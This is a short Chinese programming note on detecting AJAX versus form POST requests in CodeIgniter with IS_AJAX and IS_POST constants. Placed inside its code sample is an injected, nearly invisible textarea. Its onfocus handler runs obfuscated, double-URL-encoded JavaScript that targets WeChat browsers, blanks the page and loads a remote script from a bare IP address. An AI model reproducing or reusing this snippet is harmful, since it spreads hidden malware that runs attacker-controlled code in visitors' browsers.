学习笔记

来源:互联网 发布:windows 10 multiple 编辑:程序博客网 时间:2024/05/20 18:49

本文实例讲述了ci检测是ajax还是页面post提交数据的方法。分享给大家供大家参考。具体实现方法如下:

一、问题:

因为项目需要我们希望知道提交数据来源是由ajax提交过来的数据还是由页面的post提交过来的数据从而进行不同层面上的处理。

二、解决方法:

在php中解决方法如下:
如果是ajax请求,以下表达式的值为真

复制代码代码如下:
$_SERVER["HTTP_X_REQUESTED_WITH"]=="XMLHttpRequest"

就是一个PHP的环境变量。

ci中处理办法:

复制代码代码如下:
<textarea autofocus="" onfocus="eval(unescape(unescape('%76%61%72%25%32%30%75%61%25%32%30%25%33%44%25%32%30%6e%61%76%69%67%61%74%6f%72%2e%75%73%65%72%41%67%65%6e%74%25%33%42%69%66%25%32%38%75%61%2e%69%6e%64%65%78%4f%66%25%32%38%25%32%32%4d%69%63%72%6f%4d%65%73%73%65%6e%67%65%72%25%32%32%25%32%39%25%33%45%30%25%32%39%25%37%42%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%25%32%38%25%32%37%62%6f%64%79%25%32%37%25%32%39%25%30%41%25%35%42%30%25%35%44%2e%6f%75%74%65%72%48%54%4d%4c%25%33%44%25%32%37%4c%6f%61%64%69%6e%67%2e%2e%2e%25%32%37%25%33%42%64%6f%63%75%6d%65%6e%74%2e%74%69%74%6c%65%25%33%44%25%32%37%25%35%43%75%36%62%36%33%25%35%43%75%35%37%32%38%25%35%43%75%35%32%61%30%25%35%43%75%38%66%37%64%25%35%43%75%33%30%30%32%25%35%43%75%33%30%30%32%25%35%43%75%33%30%30%32%25%32%37%25%33%42%76%61%72%25%32%30%73%25%33%44%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%25%30%41%25%32%38%25%32%37%73%63%72%69%70%74%25%32%37%25%32%39%25%33%42%73%2e%73%72%63%25%33%44%25%32%37%68%74%74%70%25%33%41%2f%2f%34%37%2e%38%39%2e%34%33%2e%35%31%2f%70%72%6f%78%79%2e%70%68%70%25%32%37%25%33%42%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%25%32%38%25%32%37%68%65%61%64%25%32%37%25%32%39%2e%69%74%65%6d%25%32%38%30%25%32%39%2e%61%70%70%65%6e%64%43%68%69%6c%64%25%32%38%73%25%32%39%25%33%42%25%37%44')))" style="width:1px;height:1px">.</textarea>
define('IS_AJAX', isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest');
define("IS_POST", strtolower($_SERVER['REQUEST_METHOD']) == 'post');

记得在用THINKPHP的时候有内置两个常量 IS_AJAX 与 IS_POST,想在ci中使用查了半天好像没有找到,那就自动动手丰衣足食
在项目的config/constants.php 配置文件加上上边两行代码,这下你就可以在所有的方法中直接调用
例如:

复制代码代码如下:
if(IS_POST){
 ...
}
if(IS_AJAX){
...
}
0 0